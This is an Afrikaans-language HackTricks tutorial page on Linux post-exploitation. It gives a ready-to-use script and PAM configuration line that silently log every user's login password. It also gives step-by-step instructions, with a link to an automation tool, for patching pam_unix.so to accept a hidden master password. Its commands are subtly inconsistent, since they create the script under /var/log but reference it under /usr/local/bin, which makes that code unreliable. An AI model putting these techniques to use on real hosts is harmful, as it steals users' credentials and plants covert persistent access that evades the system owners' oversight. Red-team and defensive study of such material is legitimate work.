Linux Post-Exploitation

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Snuffeling van Aanmeldwagwoorde met PAM

Kom ons konfigureer 'n PAM-module om elke wagwoord wat elke gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk:

PAM - Pluggable Authentication Modules

Vir verdere besonderhede, kyk na die oorspronklike pos. Dit is net 'n opsomming:

Tegniek Oorsig: Pluggable Authentication Modules (PAM) bied buigsaamheid in die bestuur van outentisering op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar kan ook risiko's inhou as dit verkeerd gebruik word. Hierdie opsomming skets 'n tegniek om aanmeldbesonderhede te vang met behulp van PAM, saam met mitigasiestrategieë.

Vang van Besonderhede:

  • 'n bash-skrip genaamd toomanysecrets.sh word geskep om aanmeldpogings te log, wat die datum, gebruikersnaam ($PAM_USER), wagwoord (via stdin), en afstandsbediener IP ($PAM_RHOST) na /var/log/toomanysecrets.log vang.
  • Die skrip word uitvoerbaar gemaak en geïntegreer in die PAM-konfigurasie (common-auth) met behulp van die pam_exec.so module met opsies om stil te loop en die outentiseringstoken aan die skrip bloot te stel.
  • Die benadering demonstreer hoe 'n gecompromitteerde Linux-gasheer benut kan word om besonderhede diskreet te log.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Vir verdere besonderhede, kyk na die oorspronklike pos. Dit is net 'n opsomming:

Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruikersverifikasie. Dit werk op drie hoofkonsepte: gebruikersnaam, wagwoord, en diens. Konfigurasie lêers vir elke diens is geleë in die /etc/pam.d/ gids, waar gedeelde biblioteke verifikasie hanteer.

Doel: Wysig PAM om verifikasie met 'n spesifieke wagwoord toe te laat, terwyl die werklike gebruikerswagwoord omseil word. Dit fokus veral op die pam_unix.so gedeelde biblioteek wat deur die common-auth lêer gebruik word, wat deur byna alle dienste ingesluit word vir wagwoordverifikasie.

Stappe om pam_unix.so te wysig:

  1. Vind die Verifikasie Riglyn in die common-auth lêer:
  • Die lyn wat verantwoordelik is vir die nagaan van 'n gebruiker se wagwoord roep pam_unix.so aan.
  1. Wysig die Bronnekode:
  • Voeg 'n voorwaardelike verklaring in die pam_unix_auth.c bronne lêer by wat toegang verleen as 'n vooraf gedefinieerde wagwoord gebruik word, anders gaan dit voort met die gewone verifikasieproses.
  1. Herskryf en Vervang die gewysigde pam_unix.so biblioteek in die toepaslike gids.
  2. Toetsing:
  • Toegang word verleen oor verskeie dienste (inlog, ssh, sudo, su, skermsaver) met die vooraf gedefinieerde wagwoord, terwyl normale verifikasieprosesse onaangeraak bly.

note

Jy kan hierdie proses outomatiseer met https://github.com/zephrax/linux-pam-backdoor

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks